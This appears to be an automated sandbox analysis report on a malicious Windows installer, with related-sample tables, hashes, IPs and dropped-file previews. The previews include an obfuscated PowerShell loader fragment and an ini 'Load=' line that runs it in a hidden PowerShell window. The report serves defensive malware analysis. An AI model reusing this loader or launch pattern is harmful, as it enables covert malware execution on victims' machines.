	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	BESTELLU.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	Ordine_nr.24061168372.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse	185.146.87.128
	CCTC_PO_N.24042291PDF.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GTSCEGTSCentralEuropeAntelGermanyCZ	novo.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	85.9.53.119
	https://en.softonic.com	Get hash	malicious	Unknown	Browse	62.209.227.210
	SecuriteInfo.com.Linux.Siggen.9999.13221.8731.elf	Get hash	malicious	Unknown	Browse	89.40.18.196
	jade.arm.elf	Get hash	malicious	Mirai	Browse	91.120.127.45
	jade.arm6.elf	Get hash	malicious	Mirai	Browse	94.42.225.26
	jade.arm7.elf	Get hash	malicious	Mirai	Browse	94.42.225.72
	jydeTkHxMv.elf	Get hash	malicious	Unknown	Browse	194.108.169.227
	Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs	Get hash	malicious	Unknown	Browse	188.240.235.52
	http://www.goo.su/fJu2F/	Get hash	malicious	Unknown	Browse	128.140.224.227
	SecuriteInfo.com.Linux.Siggen.9999.15962.9862.elf	Get hash	malicious	Mirai	Browse	212.65.204.255
DJEMBA-ASRO	fxCP7I6KhH.elf	Get hash	malicious	Mirai	Browse	86.106.83.78
DJEMBA-ASRO	2AoPFpxIKS.elf	Get hash	malicious	Mirai	Browse	86.106.83.74

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	109.73.128.91
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	109.73.128.91
	4bblnRvDdS.lnk	Get hash	malicious	Unknown	Browse	109.73.128.91
	file.exe	Get hash	malicious	Vidar	Browse	109.73.128.91
	file.exe	Get hash	malicious	Vidar	Browse	109.73.128.91
	file.exe	Get hash	malicious	Vidar	Browse	109.73.128.91
	file.exe	Get hash	malicious	Vidar	Browse	109.73.128.91
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	109.73.128.91
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	109.73.128.91
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	109.73.128.91

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	3.266637478737807
Encrypted:	false
SSDEEP:	12:8wl01sXowAOcmIBru6/9Hp8VeiRoJiazec8ViRKQ1iKI6pKMrzmNbQgK4t2YZ/eJ:82LerZH+eiIiaCFi9s6CJmqy
MD5:	41331D3FD5F060F05C14BB329515DD12
SHA1:	ACAACDA12F8BD69C84B5747358B8724FAFE38DA6
SHA-256:	BD748C200FC464A7C26FED742D0AF38A35B99653185745DDAF7C6D39905101AC
SHA-512:	6591D04ED3A4C57B48BB933AEF6580AB1CC13AA98920AFBDCCBC77CA5C2C05AD6E17C58BFD108D24CD5570C2F730F844E9C797D06CD70315D37BF8D95D153031
Malicious:	false
Reputation:	low
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....T.1...........Videos..>............................................V.i.d.e.o.s.....b.1...........homeopathic.H............................................h.o.m.e.o.p.a.t.h.i.c.....z.2...........blodfattigheden.afs.X............................................b.l.o.d.f.a.t.t.i.g.h.e.d.e.n...a.f.s..."...8.....\.....\.U.s.e.r.s.\.j.o.n.e.s.\.V.i.d.e.o.s.\.h.o.m.e.o.p.a.t.h.i.c.\.b.l.o.d.f.a.t.t.i.g.h.e.d.e.n...a.f.s.H.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.D.e.c.e.n.t.r.a.l.i.s.e.r.i.n.g.e.r.s.\.m.i.s.d.i.d.i.v.e.d.\.U.n.e.n.g.r.o.s.s.i.n.g.............!.................[E...\|t...!...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Goffers.Bra

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	375677
Entropy (8bit):	6.746286624266194
Encrypted:	false
SSDEEP:	6144:IH93J1O/boIWBkeNFpKEkQS/kFcb1Qd9Zx2IE/uVSrHEtk2uXhm:+hjO/b/WBn/paEw4xfSrHqkLk
MD5:	66C0EF51E4F41139F546EBF7523FFEDF
SHA1:	91EAA3B8D3A0DC7E3910BC6AE9BC860348E4238B
SHA-256:	68DFB148B273FB7ABB5BAF0E42DBCB86127D1682B5BAE1EDE8A1B50BD00059D2
SHA-512:	67D627D0CCCDE23112FED8B0DF113D8A7943E95AA4990E9DB9CE5BAE04436A81C01F9FFBDA87577C2A52B8A596943C6F30636370E9FA8E0DDE56B443EB80DF1A
Malicious:	false
Reputation:	low
Preview:	hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	ASCII text, with very long lines (3293), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	55793
Entropy (8bit):	5.328821202366339
Encrypted:	false
SSDEEP:	1536:h4gmjN3ekb38e9Q4rjWK2kO6qXmBIvNdMhsf6x/u6T:mP17x9QAjZlIm6/MSC
MD5:	9BB7BC97960FEF33D8884CDCA423C2DD
SHA1:	A316731A54A85C2B2C99BE377B81196A08C81D7F
SHA-256:	E03CA6B56A172DF4B35A9862314B1C8993D4981923A7BCA152B8324931F3B303
SHA-512:	3B314D83E646B01E5E2506CB9D16101FE8F3F5AE1EE74291FD12AC6BE5ABB80EBC8C55CD19FD07050962BB4181D16ACE9F12D3100F86CA6CF6962FAECDEF45D8
Malicious:	true
Reputation:	low
Preview:	$Regulerings=$Digtcyklusens213;..<#Bundfldelses preferral Taarekirtlen Overdemand #>..<#Williche Retreat Marlowism Hurcheon Memorandumblok Herskedes #>..<#Sysselstningen Revokserne festsangens #>..<#Slvbrudens Jestingstock Myzostoma Butikscenterets Derned #>..<#Optagelsesprverne Telefonernes Personalekontor Italicising Fstningens Hesperus #>..<#Zonesystemet Akutbehandling Endogastric #>...$Gardernes = @'.Knipl.Pio e$StifrpOrt oa.ommerBraggtTiltoi hillaOplselHerruiAdultsParectTankaaStalag leepg U rorTekstuPapi.nNonpldRkenss Formm ehoaBrigut S.laehabilrPerspiC,oosaStrailSkarpeNospinEurosg BuggvExcepeInte rHurratH lvf= Stat$ UndeSHermeaPlaybeEddertaftentEncole Sporr Ech ;Ta ge.Gyro fWi.dfuNeuronwienec Umant Ser.i utodoIbrndnkvind strejG.jusghMyndioSny.esFatigtFlam,hViceuoenginoHarrydKipni ,ndfj(D ffu$MerohDRugemr ayraiRase fM rnat IntesDatoliBi.gik Wienr ntiaiKmpegnT,icogUdspieSljfer Precnpoli eAdditsPleas,Bioge$ So apProcta gastrTre.atimpudi PhytaSkrbulArbe.istinksForm.tPlatt)Sarsa Klir

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\byrge.txt

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	ASCII text, with very long lines (422), with CRLF line terminators
Category:	dropped
Size (bytes):	500
Entropy (8bit):	4.298494007544533
Encrypted:	false
SSDEEP:	12:WKB/LpGCbQ0MsuHcCHEmBCfm3OGyrTxuQ:WKB/LpGCbQ0MsuHcIBhlyrdv
MD5:	003D1691439F3E11D89BB4EBDFDD65B2
SHA1:	A0F9503A7D61FE732FA7BA256FC8C1311A8BFE28
SHA-256:	80C75B3A6E0E988D75BD2CA17A943C89D2D1A0A0A2C814D765D206FC224ECDFA
SHA-512:	C0522A278A0C90A3C9AF763C465828087D433A4B20B93975AA91439C1222A5907E4E513CF45C730BCA7455FDC2421A02E7B8F939570B34FEE7CACA2786E0B3B0
Malicious:	false
Reputation:	low
Preview:	steng fyldestgre bulbocodium knivspidser barkende atrichia animations.yonnie lysosomes perlucidus kinesalgia.hovedkloakkens miljaktivister lnpotsystemernes neutronbombernes generalised indekslaans hazzan,almuekunst rengringer nonprosses fejldisponeredes angaar nurtural galgekran,indvindingers slovakkens folkevognsrugbrdenes potentializations commentary monetr milieuskadens faroff irides karusserne ufredstids disulphate..baskish manipulatory gaucie heterodonta gavlvg parachromatosis comtemplated.

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\fremfaerden.bla

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	data
Category:	dropped
Size (bytes):	464496
Entropy (8bit):	1.2481889412219012
Encrypted:	false
SSDEEP:	1536:euJ9bietYjnEM1tuaptEitTeXdaoKnEJiuMEhdMc:7WetSXbuaPHcdb8HuMKZ
MD5:	5EACC3D95DF827FE1B5A831DFBFE94A6
SHA1:	988F9AE49BFC1BB63D112447031A5A17B591796C
SHA-256:	AC93CF686EAAAA6E5AB1BEA98F581B9E2CD7D3E9086F6FFB74A5906896567E04
SHA-512:	6FF686349AA661445538CEE916F1FAC8DB832B3239930C37BB4A2F14B0F20509FD00EEB4ED5C3D47F13BB4D906E37957DF2B113920CD8B988D6D29CEE53182A4
Malicious:	false
Reputation:	low
Preview:	..................................................................T...............................................................h................................b.....................................................Q.....................m...........t.....................................g>.............I..............................8....................8..+...............................X................................................................NZ.'................................................1..............................U..................................u........................................_...............................................^..................................GN.................,..................................................H.......&....i.........b.................................C.............................................................................M................-................C...........................1.........c........................

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\selvstndighedstrang.bil

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	data
Category:	dropped
Size (bytes):	468587
Entropy (8bit):	1.2584354414549628
Encrypted:	false
SSDEEP:	1536:DFBU5auyJfUuzHX+5RbwJiriFGZ67umM6nG+wH:QwJs6XsLrp6DMNH
MD5:	4340BC9925C2BE0D99E74E84C6B7BBC0
SHA1:	178EC4E5D9AFC934C28C205A6ACF70E7C6284826
SHA-256:	A670BE3845D4162FBE20DFBFA63E3FF423537989FB9DDE3F05B441B5DE94C16D
SHA-512:	A78D6DC0BDAF95EDE77D6A91FC37F1F1BC5C3B7BD646DC94255E458FA84AD0705060346B515C84A0026691AF0C1513FA7FF3FBD39B3FF6B0B78AB36087B59666
Malicious:	false
Preview:	6......F........O..............................................v...............]...._..Z..............,.........................................................,...................................................S.....f.............................n........................................a...a.....................k.....................&....N..........A................-.................................................................................................H..........................................3....................D.......................................=.............................................%............5..1.................f.........l...............................z................d................*......B........................P...........8.b..................+.........N ...............................................O..................................................u.........................E................................Z...-......................L..........

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\tidsskriftartiklerne.hyp

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	Matlab v4 mat-file (little endian) $, numeric, rows 0, columns 180
Category:	dropped
Size (bytes):	489743
Entropy (8bit):	1.2531074834260236
Encrypted:	false
SSDEEP:	1536:ufSdSy62D7PYFol6sSS1ThMQt6DnnI4+z5apzmvd+WDwU:ASZL3PDlRSyGNpzKd
MD5:	8963DD6A34716562750B65D09288C44C
SHA1:	28292BACEB0B7503690CA6F6A6AE4C1B6581280F
SHA-256:	4E56FA3BA867269C4FD36589A91F0293760079607086A62F53CE5CD93F7EA5FA
SHA-512:	6ADECF2CABF0CE0611D7D3C072C45EB1578D3D6A29A570E58DCE44EFB676BBEB36444DBFB6C5E6DE038CEB97F8F418572979C36EDF9EF7C44969AFB211C1866A
Malicious:	false
Preview:	................A.{.$.....X.....................................J.......T.......L................................g..........[....&.......Y.H.................................H/..........8..................................................%...............v..........................................................E......*...........................................2.........................................................................................\|..................5..............................................................$............................................2.R...............y....5....................................y..................................j..................f..................M....9.......................a..........................\.................U..............F..6...............A............................^.................................T.......................................................,..............................0................d.e.%........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\Cloud Setting.ini

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.106909071374452
Encrypted:	false
SSDEEP:	6:HH9vtxdpjk0FuCmRAuwkn23wWWAAxB4DjAq4fBeSL9Y14iO98n:HPvBRGmpfgHL4/T4f4S44iOKn
MD5:	D2A776B7662BF32092C9CE9830024A49
SHA1:	5F9ED63C8B9F546F5AD9D934240B710F6727F3D8
SHA-256:	61A01A1623D783B3DDF45A63722C90EE682DEB04CF5D2A88C1BD7A205B403BBC
SHA-512:	08FA899F574EA28DEE60696D3FD432A4C479B9ECBA3559037427B78DA7D8427797E3CD083A6917C14EB05420E2A865C3B91178921A0910296900BC79DCBDA563
Malicious:	false
Preview:	[Ini App]..Load=-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)" ..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gg4ex4s.tfc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jt1tlivq.jor.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlg1o2kf.4wn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubv4uql0.hgn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nseDBF3.tmp

Download File

Process:	C:\Users\user\Desktop\24100311.EXE.exe
File Type:	data
Category:	dropped
Size (bytes):	1868249
Entropy (8bit):	3.1164308520554607
Encrypted:	false
SSDEEP:	12288:LhjO/b/WBn/paEw4xfSrHqkLkPM76Gs6qsMC:Lhjcb0QE5tSrpGBXsMC
MD5:	CE900B8FE8C2C263E4A32C1D154F57F5
SHA1:	1680B4822AD21FDC7E79D5911EBD52A2E3A07DC6
SHA-256:	55C283E52C6AB1A1A4AD1C269B0FBC0D4A107084D7E1119FA324DEEE37B4428A
SHA-512:	55D5BA25642562DD2EF2F082F68C3CBD991A95275FD58F0B19FB95E5E7FE1F995D56D27D0BEC654580696BFE6ECC6E4B975AE285E53F700BB9266511524FAD63
Malicious:	false
Preview:	b4......,................................3......b4................................................~.........................................................................................................................................................................................G...^...........m...j...............................................................................................................................!...........a...&.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	6.811095847250619
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	24100311.EXE.exe
File size:	1'029'176 bytes
MD5:	36c593a2ceb2680510f2094cd6e4010d
SHA1:	03f1e81a26c614bcac620bbcd7a90f078e7d6146
SHA256:	faa7829ce9f42c0f66f754bda78ed09257191d44be15b16583e1a2df1eceff64
SHA512:	0aef0057ec535bb8b892462b9859396ca59531913eeed4385e6680d1930d85fc1cec6ee12802fa3c4c397b2240f63850eba140179c92e3f4ce4a8baf15f1a9ca
SSDEEP:	24576:UgD0Xah46clx/flW5y0DGeYongL84sNEQj:UgYXaefsZ3YoY84gjj
TLSH:	B625ADC03DB84EC2DA33C7FC04986561DF3B7E275D50A44A11E43AEB2EB94A35839D5A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....$_.................f...*.....

File Icon


Icon Hash:	334dc19acc61130c

Static PE Info

General

Entrypoint:	0x4035d8
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F24D702 [Sat Aug 1 02:44:18 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c05041e01f84e1ccca9c4451f3b6a383

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Tegnebestikkets Iconography Valses ", E=Fllesbetegnelsernes@Ecphorize.St, L=Hart, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	29/09/2024 03:51:59 29/09/2027 03:51:59
Subject Chain	CN="Tegnebestikkets Iconography Valses ", E=Fllesbetegnelsernes@Ecphorize.St, L=Hart, S=England, C=GB
Version:	3
Thumbprint MD5:	A9B725F67EF9ED38B5477D297C02E0E3
Thumbprint SHA-1:	C4250369923A3DF22D7B5D081C6CF98DCB182BA3
Thumbprint SHA-256:	4FD21B6D38F994DE281A06812B39CDBD127B2A705844D19F8D6593355DEA0FAF
Serial:	08EB46FA48CE35DDAA254B308AF2B2533A3C626A

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080C8h]
call dword ptr [004080CCh]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A26Ch], eax
je 00007FC0109163B3h
push ebx
call 00007FC0109196B9h
cmp eax, ebx
je 00007FC0109163A9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FC010919633h
push esi
call dword ptr [00408154h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FC01091638Ch
push 0000000Bh
call 00007FC01091968Ch
push 00000009h
call 00007FC010919685h
push 00000007h
mov dword ptr [0042A264h], eax
call 00007FC010919679h
cmp eax, ebx
je 00007FC0109163B1h
push 0000001Eh
call eax
test eax, eax
je 00007FC0109163A9h
or byte ptr [0042A26Fh], 00000040h
push ebp
call dword ptr [00408038h]
push ebx
call dword ptr [00408298h]
mov dword ptr [0042A338h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 00421708h
call dword ptr [0040818Ch]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x54000	0x6c418	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xfaa68	0x9d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6572	0x6600	869e1d11bbf88d92521c022fa6f3d4f0	False	0.6623008578431373	data	6.453919385955138	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1398	0x1400	79e286249499b713a2ddbee33baa50da	False	0.449609375	data	5.1367175827370986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	b6d02c867f7bfbcf68de2cfeea94fd73	False	0.5078125	data	4.096809083627214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x29000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x54000	0x6c418	0x6c600	9cad5a4d1eeecdca4621aa0b033c3bc9	False	0.28224796352364473	data	4.2292719636818665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x54478	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.22763484924697458
RT_ICON	0x964a0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.3088844197326393
RT_ICON	0xa6cc8	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.3727664494429262
RT_ICON	0xb0170	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.39755083179297596
RT_ICON	0xb55f8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.3831483230987246
